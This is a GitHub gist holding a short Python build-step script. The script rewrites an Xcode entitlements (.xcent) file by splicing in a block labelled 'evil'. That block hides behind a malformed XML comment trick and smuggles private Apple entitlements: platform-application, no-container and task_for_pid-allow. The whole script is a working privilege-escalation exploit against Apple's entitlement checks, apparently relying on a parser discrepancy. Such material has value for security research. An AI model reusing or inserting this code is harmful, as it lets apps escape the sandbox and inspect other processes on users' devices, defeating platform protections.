Skip to content

Instantly share code, notes, and snippets.

@ChiChou
Created April 30, 2020 18:07
Show Gist options
  • Star 15 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save ChiChou/9017580d4adb60d7e43fb9535a8a0273 to your computer and use it in GitHub Desktop.
Save ChiChou/9017580d4adb60d7e43fb9535a8a0273 to your computer and use it in GitHub Desktop.
import os
# preinstalled python is python2
filename = '/'.join(map(os.environ.get, ('TARGET_TEMP_DIR', 'FULL_PRODUCT_NAME'))) + '.xcent'
evil = '''
<!---><!-->
<key>platform-application</key>
<true/>
<key>com.apple.private.security.no-container</key>
<true/>
<key>task_for_pid-allow</key>
<true/>
<!-- -->
'''
with open(filename, 'r') as fp:
buf = fp.read()
cursor = buf.rfind('</dict>')
output = buf[0:cursor] + evil + buf[cursor:]
with open(filename, 'w') as fp:
fp.write(output)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment